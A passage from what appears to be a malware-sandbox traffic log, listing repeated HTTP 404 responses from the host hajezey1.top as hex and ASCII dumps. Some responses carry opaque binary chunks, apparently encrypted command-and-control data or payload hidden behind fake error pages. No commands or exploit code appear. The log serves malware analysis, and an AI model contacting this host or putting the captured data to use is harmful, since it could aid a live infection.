Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 81 71 e5 77 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 a5 98 87 cd 2b 80 78 51 a1 a2 8f bc 82 df 1c e0 32 02 50 08 88 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 01 82 20 59 55 11 5c 2c 34 67 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 01 75 cb 8a 40 d8 06 0e 45 07 13 7d 7b f9 e0 04 89 f9 d4 57 80 90 70 89 ec be 4a 6b 0e e1 a2 22 48 92 d2 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 53 68 58 96 da 19 d1 3a 2d e8 43 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 65 85 4a 04 38 ad 7f 14 2c d0 e8 b1 14 23 71 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 62 41 64 cd 25 5c 8d b7 f5 23 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 75 8d b5 be 34 56 9b 46 76 99 86 11 00 83 32 42 92 51 ce ae b8 6b 95 36 e1 48 52 67 76 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 8e 5f 04 25 18 f5 aa 85 b9 a5 13 ea 0e cb 2d e5 00 0c cc 52 a2 bd 71 b6 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82O_%-RqdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 13:30:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this 